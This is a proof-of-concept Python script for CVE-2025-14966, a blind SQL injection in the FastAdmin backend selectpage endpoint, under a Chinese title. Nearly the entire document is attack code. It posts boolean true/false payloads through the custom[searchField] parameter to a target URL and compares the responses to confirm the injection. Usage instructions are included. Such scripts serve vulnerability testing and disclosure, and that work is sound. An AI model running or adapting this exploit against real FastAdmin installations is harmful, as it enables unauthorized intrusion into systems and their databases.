CVE-2025-14966 FastAdmin Backend selectpage SQL注入漏洞

import requests import sys # CVE-2025-14966 SQL Injection PoC for FastAdmin # Target: FastAdmin <= 1.7.0.20250506 # Endpoint: /admin/ajax/selectpage (or similar Backend selectpage endpoint) def exploit_sql_injection(target_url, field_name="id"): """ SQL Injection via custom/searchField parameter in FastAdmin Backend Controller """ # Payload: Boolean-based blind SQL injection # Testing with a simple boolean condition payload_true = f"{field_name} AND 1=1" payload_false = f"{field_name} AND 1=2" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } # Test TRUE condition data_true = { "custom[searchField]": payload_true, "searchKey": "name" } # Test FALSE condition data_false = { "custom[searchField]": payload_false, "searchKey": "name" } try: print(f"[*] Testing target: {target_url}") print(f"[*] Sending TRUE payload: {payload_true}") resp_true = requests.post(target_url, data=data_true, headers=headers, timeout=10) print(f"[*] Sending FALSE payload: {payload_false}") resp_false = requests.post(target_url, data=data_false, headers=headers, timeout=10) # Compare responses to determine if vulnerability exists if resp_true.status_code == 200 and resp_false.status_code != 200: print("[+] Vulnerable! Different responses detected.") elif resp_true.text != resp_false.text: print("[+] Potentially vulnerable! Responses differ.") else: print("[-] Target may not be vulnerable or endpoint incorrect.") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/admin/ajax/selectpage") sys.exit(1) target = sys.argv[1] exploit_sql_injection(target)